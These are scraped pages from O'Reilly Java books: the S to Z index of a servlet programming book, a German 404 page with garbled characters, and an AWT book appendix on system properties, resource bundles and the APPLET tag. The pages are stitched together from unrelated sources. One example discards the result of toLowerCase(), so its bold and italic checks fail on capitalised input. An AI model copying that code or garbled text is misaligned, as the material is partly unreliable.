setDomain( ) method: 7.4.1. Working with Cookies
setHeader( ) method: 5.6.1. Setting an HTTP Header
5.6.3. Client Pull
setIntHeader( ) method: 5.6.1. Setting an HTTP Header
setMaxAge( ) method: 7.4.1. Working with Cookies
setName( ) method: 2.6.5. JavaServer Pages and JavaBeans
setPath( ) method: 7.4.1. Working with Cookies
setRequestProperty( ) method: 10.2.2.2. Back to the applet
setSecure( ) method: 7.4.1. Working with Cookies
setStatus( ) method: 5.5.1. Setting a Status Code
5.7.1. Status Codes
setValue( ) method: 7.4.1. Working with Cookies
setVersion( ) method: 7.4.1. Working with Cookies
shared objects: 11.3.2. Collaboration Through a Shared Object
shared references: 11.3.3.1. Inheriting a shared reference
sharing information: 11.3.2. Collaboration Through a Shared Object
Shift_JIS (Japanese) charset: 12.3.1. Charsets
shopping-cart example: 7.2. Hidden Form Fields
.shtml extension: 2.4.1. Writing a Server-Side Include
2.5.2. Running Deblink
Simple Mail Transfer Protocol (SMTP): 13.2. Sending Email
single-thread model: 3.4. Single-Thread Model
SingleThreadModel class: A. Servlet API Quick Reference
SingleThreadModel interface: 3.4. Single-Thread Model
singleton: 11.3.2.1. Using a shared class to sell burritos
11.3.2.2. Using a servlet as the shared object
11.3.3.1. Inheriting a shared reference
skeleton classes: 10.2.5.1. The servlet
SmtpClient class: 13.2.1. Using sun.net.smtp.SmtpClient
socket connections
low-level management: 10.2.4.2. The superclass
raw socket connections: 10.1.1. HTTP and Raw Socket Connections
10.3.1. The Design
11.2.1. An Improved getServlet( )
socket connections, initiated by applet only: 10.2.4.1. The servlet
SOCKS-based proxies: 10.1.3. JDBC, RMI, and a Little CORBA
software license: 4.2.2. Locking a Servlet to a Server
special characters: 12.1. Western European Languages
special effects in images: 6.1.3. Image Effects
6.1.4. Image Effects in Filter Chains
SQL
API: 9.2. The JDBC API
10.1.3. JDBC, RMI, and a Little CORBA
control characters: 9.2.8. Using Prepared Statements
data types, list of: 9.2.5. Result Sets in Detail
definition: 9.1. Relational Databases
DELETE statement: 9.1. Relational Databases
exceptions: 9.2.4. Handling SQL Exceptions
PL/SQL language: 9.5.1. Stored Procedures
PreparedStatement class: 9.2.8. Using Prepared Statements
9.3.2. Reusing Prepared Statements
queries, executing: 9.2.3. Executing SQL Queries
reference book: 9.1. Relational Databases
SELECT statement: 9.1. Relational Databases
stored procedures
accessing: 9.5.1. Stored Procedures
precompiled and faster: 9.5.1. Stored Procedures
transactions
auto-commit status: 9.4.1. Using Transactions with JDBC
Connection objects: 9.4.1. Using Transactions with JDBC
connection pool: 9.4.3. Connection Pooling
definition: 9.4. Transactions
JDBC: 9.4.1. Using Transactions with JDBC
updating databases: 9.2.7. Updating the Database
SQL for Dummies book: 9.1. Relational Databases
<SQL> tag: 2.5. Servlet Chaining and Filters
ssinclude servlet: 2.5.2. Running Deblink
2.5.3. The Loophole
SSIs (server-side includes): 2.4. Server-Side Includes
4.4.1. Request Parameters
SSJS: 1.1.2.3. Server-side JavaScript
SSL
connection examples: 4.4.10. Extra Attributes
getScheme( ) method: 4.4.7. How It Was Requested
introduced by Netscape: 8.3. Secure Sockets Layer (SSL)
Java Web Server supports SSL 3.0: 8.3.1. SSL Client Authentication
stack traces: 5.7.2. Logging
5.7.3. Reporting
5.7.3. Reporting
5.7.4. Exceptions
Standard Query Language, see SQL: 9.1. Relational Databases
Statement class
executeQuery( ) method: 9.2.3. Executing SQL Queries
executing SQL queries: 9.2.3. Executing SQL Queries
getResultSet( ) method: 9.2.7. Updating the Database
getUpdateCount( ) method: 9.2.7. Updating the Database
static variable: 3.1.5. A Holistic Counter
static variables and methods: 11.3.3.2. Inheriting the shared information
status codes
definition: 5.1. The Structure of a Response
partial table of: 5.5. Status Codes
reference appendix: C. HTTP Status Codes
reporting: 5.7.1. Status Codes
server-specific pages: 5.7.1. Status Codes
setting: 5.5.1. Setting a Status Code
Stop button, in browser: 5.7.5. Knowing When No One's Listening
stop( ) method: 3.5. Background Processing
stopping threads: 3.5. Background Processing
stored procedures
accessing: 9.5.1. Stored Procedures
precompiled and faster: 9.5.1. Stored Procedures
stub classes: 10.2.5.1. The servlet
subclassing: 5.4.2.3. Weather forecast using HTML generation creatively
Sun
100% Pure Java: 13.5. Using Native Methods
Java Software division, see JavaSoft: 0. Preface
Java Web Server (``Jeeves'')
back door for servlet's registered name: 4.1.2. Getting Init Parameter Names
bug with chained servlet: 2.5.3. The Loophole
bug with getRequestURI( ): 4.4.5. Determining What Was Requested
bug with PrintWriter: 2.4.1. Writing a Server-Side Include
modular design: 4.4.4. Serving Files
permission types: 8.4.2. Fine-grained Control
programmatic access to security: 8.1.2. Custom Authorization
security manager: 8.4.1. The Servlet Sandbox
session-tracking: 7.5. The Session Tracking API
supports SSL 3.0: 8.3.1. SSL Client Authentication
used in this book: 2.3.2. Running Hello World
web site for information: 0.2. About the Examples
1.2.1. Standalone Servlet Engines
JavaMail API: 13.2. Sending Email
JavaServer Administration Tool
configuration page: 8.4.2. Fine-grained Control
for MIME-based filtering: 2.5.3. The Loophole
URL for access: 2.3.2. Running Hello World
JavaServer Engine, web site for information: 1.2.3. Embeddable Servlet Engines
JavaServer Toolkit, web site for information: 1.2.3. Embeddable Servlet Engines
JSDK (Java Servlet Development Kit)
bare-bones simplicity: 2.3.2. Running Hello World
description: 2.3.2. Running Hello World
minimal session-tracking: 7.5. The Session Tracking API
web site for downloading: 0.2. About the Examples
1.2. Support for Servlets
13.7.3. Use a Standard Debugger
JSPs (JavaServer Pages): 1.3.7. Extensibility and Flexibility
2.6. JavaServer Pages
superclass for socket connection details: 10.2.4.1. The servlet
super.init(config) must be called: 3.3.1. A Counter with Init
4.1.1. Getting an Init Parameter
support classes: 3.2. Servlet Reloading
synchronization
avoiding: 3.4. Single-Thread Model
ignoring: 3.1.4. A Simple Synchronized Counter
of blocks: 3.1.4. A Simple Synchronized Counter
of methods: 3.1.4. A Simple Synchronized Counter
using judiciously: 13.8.3. Limit Synchronization
System class
exit( ) method: 2.3.5. Handling HEAD Requests
getProperties( ).get( ) method: 11.3.1. Collaboration Through the System Properties List
getProperties( ).put( ) method: 11.3.1. Collaboration Through the System Properties List
11.3.1. Collaboration Through the System Properties List
getProperties( ).remove( ) method: 11.3.1. Collaboration Through the System Properties List
11.3.1. Collaboration Through the System Properties List
getProperty( ) method: 4.2.1. Getting Information About the Server

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: T

Technical Introduction to Digital Video book: 6.1.3.1. Converting an image to grayscale
telnet program: 13.7.6. Create a Custom Client Request
telnet.exe problem in Windows: 13.7.6. Create a Custom Client Request
Tengah Application Server
JDBC driver: 9.2.1. JDBC Drivers
web site for information: 1.2.1. Standalone Servlet Engines
testing: 13.7. Debugging
text-based animation: 5.6.3. Client Pull
text-based HTTP communication: 10.2.2. Text-based HTTP Communication
text strings, large: 9.5.2. Binaries and Books
text/html MIME type: 2.3.1. Writing Hello World
Thawte Consulting certificate authority: 8.2. Digital Certificates
The Unicode Standard, Version 2.0 book: 12.1.2. Unicode Escapes
Thought Inc.'s VanillaSearch, web site for downloading: 13.3. Using Regular Expressions
threads
concurrency: 3.1.4. A Simple Synchronized Counter
each client: 3.1.4. A Simple Synchronized Counter
each manipulating servlet's nonlocal variables: 3.1.4. A Simple Synchronized Counter
persistence: 3.1.2. Instance Persistence
single-thread model: 3.4. Single-Thread Model
stopping: 3.5. Background Processing
throws clause: 5.7.4. Exceptions
tiers: 9. Database Connectivity
TIFF format: 6.1.1. Image Generation
time in local zone: 2.4.1. Writing a Server-Side Include
time-of-day example: 10.2. Daytime Server
time zone, not automatically available: 12.2. Conforming to Local Customs
times, localizing: 12.2. Conforming to Local Customs
timestamp
representation of: 3.6. Last Modified Times
5.6.1. Setting an HTTP Header
7.5.3. The Session Life Cycle
7.5.3. The Session Life Cycle
resolution of: 3.6. Last Modified Times
<TITLE> tag: 5.4.1. Generating Hello World
TLS (Transport Layer Security), web site for information: 8.3. Secure Sockets Layer (SSL)
Toolkit class
getDefaultToolkit( ).getImage( ) method: 6.1.2.1. Drawing over an image
getImage( ) method: 6.1.1.1. A ``Hello World'' image
TRACE method: 2.1.3. Other Methods
transactions
auto-commit status: 9.4.1. Using Transactions with JDBC
Connection objects: 9.4.1. Using Transactions with JDBC
connection pool: 9.4.3. Connection Pooling
definition: 9.4. Transactions
JDBC: 9.4.1. Using Transactions with JDBC
troubleshooting: 5.7. When Things Go Wrong
true-color pixel values: 6.1.1. Image Generation
trusted and untrusted applets: 10.1. Communication Options
try block: 5.7.5. Knowing When No One's Listening
tuning: 3.1.1. A Single Java Virtual Machine
3.2. Servlet Reloading
13.8. Performance Tuning
TYPE attribute: 2.6.5. JavaServer Pages and JavaBeans
type safety of servlets: 1.3.4. Safety
typographical conventions: 0.4. Conventions Used in This Book
typographical errors, web site for reporting: 0.5. Request for Comments

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: U

UCS-2 (Universal Character Set, 2-byte): 12.4.1. UCS-2 and UTF-8
unauthorized copying: 4.2.2. Locking a Servlet to a Server
UnavailableException class: A. Servlet API Quick Reference
Understanding Digital Signatures book: 8.2. Digital Certificates
UnicastRemoteObject class: 10.2.5.2. The superclass
Unicode
alternative to escapes: 12.3.3. Reading and Writing Encoded Output
detailed description: 12.1.2. Unicode Escapes
for non-HTML output: 12.1.1. HTML Character Entities
for special characters: 12.1. Western European Languages
PrintWriter conversion from: 2.3.1. Writing Hello World
web site for information: 12.1.2. Unicode Escapes
web site for standard: 12.1.2. Unicode Escapes
Unicom's Servlet CGI Development Kit, web site for information: 1.2.2. Add-on Servlet Engines
Uniform Resource Locators, see URLs and web sites: 4.4.5. Determining What Was Requested
Uniform Resource Name (URN): 4.4.5. Determining What Was Requested
Universal Resource Identifier (URI): 4.4.5. Determining What Was Requested
unloading servlets: 3.3.2. A Counter with Init and Destroy
untrusted applets: 10.1. Communication Options
updating SQL databases: 9.2.7. Updating the Database
uploading files: 4.4.9.3. Receiving files using the input stream
URLConnection class: 10.2.2.2. Back to the applet
URLs
access to: 1.3.2. Power
for access to servlet: 2.3.2. Running Hello World
https\:: 8.3. Secure Sockets Layer (SSL)
identifying: 4.4.5. Determining What Was Requested
length limit: 2.1.2. GET and POST
rewriting: 7.3. URL Rewriting
see also web sites: 1.1.1.1. FastCGI
US-ASCII character set: 12.3.1. Charsets
12.4. Multiple Languages
User-Agent header: 2.1.1. Requests, Responses, and Headers
4.4.8. Request Headers
6.2. Compressed Content
user authorization
advantages: 7.1. User Authorization
example: 7.1. User Authorization
in request header: 4.4.8. Request Headers
type of: 4.3.3. Getting Information About the User
users
identifying: 4.3.3. Getting Information About the User
listing: 13.4.1. Finger
UTF-8 (UCS Transformation Format, 8-bit): 12.4.1. UCS-2 and UTF-8

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: V

valueBound( ) method: 7.5.9. Session Binding Events
valueUnbound( ) method: 7.5.9. Session Binding Events
VanillaSearch, web site for downloading: 13.3. Using Regular Expressions
variables
class or static: 3.1.5. A Holistic Counter
environment: 4. Retrieving Information
local: 3.1.4. A Simple Synchronized Counter
nonlocal, manipulated by threads: 3.1.4. A Simple Synchronized Counter
SERVER_URL: 4.4.7. How It Was Requested
static: 11.3.3.2. Inheriting the shared information
VARNAME attribute: 2.6.5. JavaServer Pages and JavaBeans
Vary header: 6.2. Compressed Content
VBScript: 1.1.2.2. Active Server Pages
verifying servlets: 11.1.1. Viewing the Currently Loaded Servlets
VeriSign certificate authority: 4.4.10. Extra Attributes
8.2. Digital Certificates
8.3.1. SSL Client Authentication
versions: 0. Preface
2.1.1. Requests, Responses, and Headers
2.3.2. Running Hello World
7.4.1. Working with Cookies
virtual hosting: 4.2.1. Getting Information About the Server
virtual path: 4.4.3. Path Information
Visual Engineering's JavaChart package
free applets in: 6.1.5.2. A generic applet viewer
web site for downloading: 6.1.1.2. A dynamically generated chart

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: W

WAI interface: 1.2.2. Add-on Servlet Engines
WAI (NSAPI), a Netscape API: 1.1.2.1. Server Extension APIs
WAICoolRunner, web site for information: 1.2.2. Add-on Servlet Engines
weather forecasting example: 5.4.2. Generating a Weather Forecast
web application, definition: 1.1. History of Web Applications
Web Client Programming book: 2.1. HTTP Basics
4.4.8. Request Headers
5.3. Using Persistent Connections
13.7.5. Examine the Client Request
Web Security & Commerce book: 8. Security
web sites
Activated Intelligence's Java Image Management Interface (JIMI): 6.1.1.1. A ``Hello World'' image
ASP programming: 1.1.2.2. Active Server Pages
ASP support for web servers: 1.1.2.2. Active Server Pages
bug reports and typos: 0.5. Request for Comments
certificate authorities: 8.2. Digital Certificates
character set, difference from charset: 12.3.1. Charsets
charting packages: 6.1.1.2. A dynamically generated chart
code for stopping threads: 3.5. Background Processing
color conversion: 6.1.3.1. Converting an image to grayscale
com.oreilly.servlet source code: 0.2. About the Examples
demonstrating servlets: 0.2. About the Examples
downloadable code: 0.2. About the Examples
FastCGI: 1.1.1.1. FastCGI
IANA: 12.4.2. Writing UTF-8
IBM's ServletExpress: 1.2.2. Add-on Servlet Engines
Internet Inter-ORB Protocol: 10.1.3. JDBC, RMI, and a Little CORBA
ISO-3166 for country codes: 12.2. Conforming to Local Customs
ISO-639 for language abbreviations: 12.1.1. HTML Character Entities
Java Exchange's DbConnectionBroker package: 9.4.3. Connection Pooling
Java Extension Framework: 1.2. Support for Servlets
Java Report Online: 3.5. Background Processing
JavaBeans: 2.6.5. JavaServer Pages and JavaBeans
JavaMail: 13.2. Sending Email
JavaScript programming: 1.1.2.3. Server-side JavaScript
JDBC (Java database connectivity)
drivers information: 9.2.1. JDBC Drivers
specification: 9.2. The JDBC API
JDK (Java Development Kit): 0.2. About the Examples
JSDK (Java Servlet Development Kit): 0.2. About the Examples
1.2. Support for Servlets
2.3.2. Running Hello World
13.7.3. Use a Standard Debugger
Live Software
JRun: 1.2.2. Add-on Servlet Engines
ServletDebugger: 13.7.4. Use a Third-Party Tool
Microsoft
Internet Explorer internationalization: 12.3.2. Writing Encoded Output
Internet Information Server: 1.1.2.2. Active Server Pages
mod_perl: 1.1.1.2. mod_perl
Netscape Navigator
cookie specification: 7.4. Persistent Cookies
internationalization: 12.3.2. Writing Encoded Output
Original Reusable Objects' OROMatcher and PerlTools: 13.3. Using Regular Expressions
PerlEx: 1.1.1.3. PerlEx
Poskanzer's GIF encoder: 6.1.1.1. A ``Hello World'' image
RFC 1867 about uploading files: 4.4.9.3. Receiving files using the input stream
RFC 1630 about URIs, URLs, and URNs: 4.4.5. Determining What Was Requested
RFC 1521 for Base64 encoding: 8.1.2. Custom Authorization
RFC 2278 for charsets: 12.3.1. Charsets
RFC 2109 for cookie specification: 7.4. Persistent Cookies
RFC 2070 for HTML internationalization: 12.6. HTML Forms
RFC 2279 for UTF-8 character set: 12.4.1. UCS-2 and UTF-8
server-side JavaScript programming: 1.1.2.3. Server-side JavaScript
servers including servlet engines: 1.2.1. Standalone Servlet Engines
servlet engines
add-on: 1.2.2. Add-on Servlet Engines
embeddable: 1.2.3. Embeddable Servlet Engines
list of: 1.2.4. Additional Thoughts
standalone: 1.2.1. Standalone Servlet Engines
Thought Inc.'s VanillaSearch: 13.3. Using Regular Expressions
TLS (Transport Layer Security): 8.3. Secure Sockets Layer (SSL)
Unicode: 12.1.2. Unicode Escapes
12.1.2. Unicode Escapes
UTF-8, name of: 12.4.2. Writing UTF-8
Visual Engineering's JavaChart package: 6.1.1.2. A dynamically generated chart
6.1.5.2. A generic applet viewer
WebLogic's htmlKona package: 5.4.1. Generating Hello World
WebLogic's pool drivers: 9.4.3. Connection Pooling
WWW Security FAQ: 8.4. Running Servlets Securely
WebCore, web site for information: 1.2.3. Embeddable Servlet Engines
WebLogic
htmlKona package
HTML table generation: 9.2.5. Result Sets in Detail
web site for downloading: 5.4.1. Generating Hello World
pool drivers, web site for: 9.4.3. Connection Pooling
Tengah Application Server
JDBC driver: 9.2.1. JDBC Drivers
web site for information: 1.2.1. Standalone Servlet Engines
Webmaster in a Nutshell book: 4.4.8. Request Headers
WebSite Professional, web site for information: 1.2.1. Standalone Servlet Engines
WebSphere Application Server, web site for information: 1.2.2. Add-on Servlet Engines
welcoming example: 4.3.4. A Personalized Welcome
Windows NT, problem with cmd.exe: 13.4.4. Executing Finger with Redirected Output
Windows, problem with telnet.exe: 13.7.6. Create a Custom Client Request
World Wide Web Consortium's Jigsaw Server, web site for information: 1.2.1. Standalone Servlet Engines
WWW-Authenticate header: 4.4.8. Request Headers
5.6. HTTP Headers
8.1.2. Custom Authorization
WWW Security FAQ, web site for information: 8.4. Running Servlets Securely

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: X

x-compress compression format: 6.2. Compressed Content
x-gzip compression format: 6.2. Compressed Content

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: Z

zero, dividing by: 5.7. When Things Go Wrong
ZIP compression format: 6.2. Compressed Content
ZipOutputStream class: 6.2. Compressed Content

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Java Servlet Programming Search Page

Java™ Servlet Programming Search this book

Full Text Search

If you are having difficulty searching, or if you have not used this search utility before, please read this.

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


404 File not found

Fehler: Seite nicht gefunden

Die von Ihnen gesuchte Seite ist entweder nicht mehr vorhanden oder

Sie haben sich m鰃licherweise beim Eingeben der URL vertippt.

Klicken Sie bitte auf den Zur點k-Button Ihres Browsers oder gehen sie wieder zu EWS


[Appendix A] Using Properties and Resources

Previous Appendix A Next

A. Using Properties and Resources

Contents:
System Properties
Server Properties
Resource Bundles

Java provides "property lists" that are similar to Xdefaults in the X Window system. Programs can use properties to customize their behavior or find out information about the run-time environment; by reading a property list, a program can set defaults, choose colors and fonts, and more, without any changes to the code. Java 1.1 makes property lists much more general. Although the basic features of property lists did not change between Java 1.0 and 1.1, the way you access them did. Instead of providing specific locations for files, Java 1.1 provides access to these resource bundles in a more general scheme, described in Resource Bundles.

A.1 System Properties

Although Java applications can define property lists as conveniences, there is one special property list that is common to all applications and applets: System Properties. This list currently has 14 properties in Java 1.0 and 21 in Java 1.1, although you may add to it, and more standard properties may be added in the future. An application has access to all of them. Because of security restrictions, an applet has access only to 9. Among other things, these properties allow you to customize your code for different platforms if you want to provide workarounds for platform-specific deficiencies or load native methods if available.

Table A.1 contains the complete list of system properties. The last column specifies whether an applet can access each property; applications can access all properties. As a word of caution, different vendors may report different values for the same environment (for example, os.arch could be x86 or 80486). The values in the property list reflect the run-time environment, not the development environment.

Table A.1: System Properties
Name | Description | Sample Value | Applet
awt.toolkit (New) | Toolkit vendor | sun.awt.window.Wtoolkit | No
file.encoding (New) | File encoding | 8859_1 | No
file.encoding.pkg (New) | File encoding package | sun.io | No
file.separator | File separator | "\" or "/" | Yes
java.class.path | Java's CLASSPATH | C:\JAVA\LIB;.; C:\JAVA\BIN\..\classes; C:\JAVA\BIN\..\lib\classes.zip | No
java.class.version | Java's class library version | 45.3 | Yes
java.home | Java's installation directory | C:\JAVA | No
java.vendor | Java's virtual machine vendor | Netscape Communications | Yes
java.vendor.url | Java vendor's URL | http://www.netscape.com | Yes
java.version | Java version | 1.021 | Yes
line.separator | Line separator | "\n" | Yes
os.arch | Operating system architecture | x86 or 80486 | Yes
os.name | Operating system name | Windows NT | Yes
os.version (New) | Operating system version | 4.0 | Yes
path.separator | Path separator | ";" or ":" | Yes
user.dir | User's working directory | C:\JAZ\AWTCode\Chapter2 | No
user.home | User's home directory | C:\JAVA | No
user.language (New) | User's language | en | No
user.name (New) | User's login name | JOHNZ | No
user.region (New) | User's geographic region | US | No
user.timezone (New) | User's time zone | EST | No

To read one of the system properties, use the getProperty() method of the System class:

System.getProperty (String s);    // for the property you want

If s is a valid property and is accessible by your program, the system retrieves the current value as a String. If it is not, the return value is null. For example, the following line of code retrieves the vendor for the Java platform you are working with:

String s = System.getProperty ("java.vendor");

If an applet tries to access a property it does not have permission to read, a security exception is thrown.

For an application, the Java interpreter can add additional system properties at run-time with the -D flag. The following command runs the program className, adding the program.name property to the list of available properties; the value of this property is the string Foo:

java -Dprogram.name=Foo className

An application can also modify its property list by calling various methods of the Properties class. The following code duplicates the effect of the -D flag in the previous example:

Properties p = System.getProperties ();
p.put ("program.name", "Foo");  // To add a new one
p.put ("java.vendor", "O'Reilly");  // To replace the current one
System.setProperties(p);

An applet running within Netscape Navigator or Internet Explorer may not add or change system properties since Netscape Navigator and Internet Explorer do not let applets touch the local filesystem, and calls to getProperties() generate a security violation. Version 1.0 of HotJava, the JDK, and the appletviewer allow you to set properties with the properties file in the .hotjava directory. Other browsers may or may not enable this option.

NOTE:

The location of the system properties file depends on the run-time environment you are using. Ordinarily, the file will go into a subdirectory of the installation directory or, for environments where users have home directories, in a subdirectory for the user.

Users may add properties to the system property file by hand; of course, in this case, it's the Java developer's responsibility to document what properties the program reads, and to provide reasonable defaults in case those properties aren't set. The Color and Font classes have methods to read colors and fonts from the system properties list. These are two areas in which it would be appropriate for a program to define its own properties, expecting the user to set an appropriate value. For example, a program might expect the property myname.awt.drawingColor to define a default color for drawing; it would be the user's responsibility to add a line defining this property in the property file:

myname.awt.drawingColor=0xe0e0e0    #default drawing color: light gray

Previous | Home | Next
WindowPeer | Book Index | Server Properties
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Appendix A] A.2 Server Properties

Previous Appendix A
Using Properties and Resources 		Next

A.2 Server Properties

Java programs can read properties from any file to which they have access. Applications, of course, can open files on the platform where they execute; applets cannot. However, applets can read certain files from the server. Example A.1 is an applet that reads a properties file from its server and uses those properties to customize itself. This is a useful technique for developers working on commercial applets: you can deliver an applet to a customer and let the customer customize the applet by providing a property sheet. The alternative, having the applet read all of its customizations from HTML parameter tags, is a bit more clumsy. Server properties let you distinguish between global customizations like company name (which would be the same on all instances of the applet) and situation-specific customizations, like the name of the animation the user wants to display (the user may use the same applet for many animation sequences). The company name should be configured through a style sheet; the animation filename should be configured by using a <PARAM> tag.

Example A.1 uses a properties list to read a message and font information. Following the source is the actual property file. The property file must be in the same directory as the HTML file because we use getDocumentBase() to build the property file's URL. Once we have loaded the property list, we can use getProperty() to read individual properties. Unfortunately, in Java 1.0, we cannot use the Font class's methods to read the font information directly; getFont() can only read properties from the system property list. Therefore, we need to read the font size, name, and type as strings, and call the Font constructor using the pieces as arguments. Java 1.1 does a lot to fix this problem; we'll see how in the next section.

Example A.1: Getting Properties from a Server File

import java.util.Properties;
import java.awt.*;
import java.io.IOException;
import java.io.InputStream;
import java.net.URL;
import java.net.MalformedURLException;
public class Prop extends java.applet.Applet {
    Properties p;
    String theMessage;
    public void init () {
        p = new Properties();
        try {
            URL propSource = new URL (getDocumentBase(), "prop.list");
            InputStream propIS = propSource.openStream();
            p.load(propIS);
            p.list(System.out);
            initFromProps(p);
            propIS.close();
        } catch (MalformedURLException e) {
            System.out.println ("Invalid URL");
        } catch (IOException e) {
            System.out.println ("Error loading properties");
        }
    }
    public void initFromProps (Properties p) {
        String fontsize = p.getProperty ("MyProg.font.size");
        String fontname = p.getProperty ("MyProg.font.name");
        String fonttype = p.getProperty ("MyProg.font.type");
        String message  = p.getProperty ("MyProg.message");
        int size;
        int type;
        if (fontsize == null) {
            size = 12;
        } else {
            size = Integer.parseInt (fontsize);
        }
        if (fontname == null) {
            fontname = "TimesRoman";
        }
        type = Font.PLAIN;
        if (fonttype != null) {
            fonttype.toLowerCase();
            boolean bold = (fonttype.indexOf ("bold") != -1);
            boolean italic = (fonttype.indexOf ("italic") != -1);
            if (bold) type |= Font.BOLD;
            if (italic) type |= Font.ITALIC;
        }
        if (message == null) {
            theMessage = "Welcome to Java";
        } else {
            theMessage = message;
        }
        setFont (new Font (fontname, type, size));
    }
    public void paint (Graphics g) {
        g.drawString (theMessage, 50, 50);
    }
}

The file prop.list :

MyProg.font.size=20
MyProg.font.type=italic-bold
MyProg.font.name=Helvetica
MyProg.message=Hello World

Figure A.1 results from using this applet with this property file.

Figure A.1: Reading server properties

[Graphic: Figure A-1]

Previous | Home | Next
System Properties | Book Index | Resource Bundles
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Appendix A] A.3 Resource Bundles

Previous Appendix A
Using Properties and Resources 		Next

A.3 Resource Bundles

Java 1.1 adds two new pieces to make its property lists more general and flexible. The first is the ability to use localized resource bundles; the second is the use of resource files.

Resource bundles let you write internationalized programs. The general idea is that any string you want to display (for example, a button label) shouldn't be specified as a literal constant. Instead, you want to look up the string in a table of equivalents--a "resource bundle"--that contains equivalent strings for different locales. For example, the string "yes" is equivalent to "ja", "si", "oui", and many other language-specific alternatives. A resource bundle lets your program look up the right alternative at run-time, depending on the user's locale. The list of alternatives must be implemented as a subclass of ResourceBundle or ListResourceBundle, in which you provide a key value pair for each label. For each locale you support, a separate subclass and list must be provided. Then you look up the appropriate string through the ResourceBundle.getString() method. A complete example of how to use resource bundles could easily require an entire chapter; I hope this is enough information to get you started.[1]

[1] See the Java Fundamental Classes Reference for a more complete description.

Resource bundles have one important implication for more mundane programs. Resource bundles can be saved in files and read at run-time. To support them, Java 1.1 has added the ability to load arbitrary properties files. In Example A.1, we looked for the prop.list file on the applet server. What if we want to permit users to modify the default font to be what they want, not what we think they want? With Java 1.0, that could not be done because there was no way for an applet to access the local filesystem. Now, with Java 1.1, you can access read-only resource files located in the CLASSPATH. To do so, you use the Class.getResource() method, which takes the name of a properties list file as an argument. This method returns the URL of the file requested, which could be available locally or on the applet server; where it actually looks depends on the ClassLoader. Once the file is found, treat it as a Properties file, as in Example A.1, or do anything you want with it. A similar method, Class.getResourceAsStream(), returns the InputStream to work with, instead of the URL.

Example A.2 is similar to Example A.1. The file prop11.list includes three properties: the font to use, a message, and an image. We need only a single property because we can use the new Font.decode() method to convert a complete font specification into a Font object: we don't need to load the font information in pieces, as we did in the earlier example. As an added bonus, this example displays an image. The name of the image is given by the property MyProg.image. Like the property file itself, the image file can be located anywhere. Here's the properties list, which should be placed in the file prop11.list:

MyProg.font=Helvetica-italic-30
MyProg.message=Hello World
MyProg.image=ora-icon.gif

And the code for the applet is in Example A.2.

Example A.2: Getting Properties from a Resource File

// Java 1.1 only
import java.io.*;
import java.net.*;
import java.awt.*;
import java.util.Properties;
import java.applet.Applet;
public class Prop11 extends Applet {
    Image im;
    Font f;
    String msg;
    public void paint (Graphics g) {
        g.setFont (f);
        if (im != null)
            g.drawImage (im, 50, 100, this);
        if (msg != null)
            g.drawString (msg, 50, 50);
    }
    public void init () {
        InputStream is = getClass().getResourceAsStream("prop11.list");
        Properties p = new Properties();
        try {
            p.load (is);
            f = Font.decode(p.getProperty("MyProg.font"));
            msg = p.getProperty("MyProg.message");
            String name = p.getProperty("MyProg.image");
            URL url = getClass().getResource(name);
            im = getImage (url);
        } catch (IOException e) {
            System.out.println ("error loading props...");
        }
    }
}

Previous | Home | Next
Server Properties | Book Index | HTML Markup For Applets
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Appendix B] HTML Markup For Applets

Previous Appendix B Next

B. HTML Markup For Applets

Contents:
The Applet Tag

B.1 The Applet Tag

The introduction of Java created the need for additional HTML tags. In the alpha release of Java, the HotJava browser used the <APP> tag to include applets within HTML files. However, <APP> was unacceptable to the standards committee because it could have an infinite number of parameters. It was replaced by the <APPLET> tag, used in conjunction with the <PARAM> tag. Apparently, the standards folks did not like the <APPLET> tag either, so you can expect it to be replaced eventually, although at this point, there is no agreement about its successor, and it is highly unlikely that any production browser would stop supporting <APPLET>.

The syntax of the <APPLET> tag is shown below; the order of the parameters does not matter:

<APPLET
    [ALIGN = alignment]
    [ALT = alternate-text]
    CODE = applet-filename or OBJECT = serialized-applet
    [CODEBASE = applet-directory-url]
    [ARCHIVE = filename.zip/filename.jar]
    HEIGHT = applet-pixel-height
    [HSPACE = horizontal-pixel-margin]
    [MAYSCRIPT = true/false]
    [NAME = applet-name]
    [VSPACE = vertical-pixel-margin]
    WIDTH = applet-pixel-width
>
<PARAM NAME=parameter1 VALUE=value1>
<PARAM NAME=parameter2 VALUE=value2>
<PARAM NAME=parameter3 VALUE=value3>
...
[alternate-html]
</APPLET>

<APPLET>

The <APPLET> tag specifies where and how to display an applet within the HTML document. If the browser does not understand the <APPLET> and <PARAM> tags, it displays the alternate-html. (It displays the alternate-html because it doesn't understand the surrounding tags and ignores them. There's no magic to the alternate-html itself.) If a browser does understand <APPLET> but cannot run Java (for example, a browser on Windows 3.1) or Java has been disabled, the browser displays the alternate-html or the alternate-text specified by the optional ALT parameter. The CODE, WIDTH, and HEIGHT parameters are required. Parameters within the <APPLET> tag are separated by spaces, not by commas.

</APPLET>
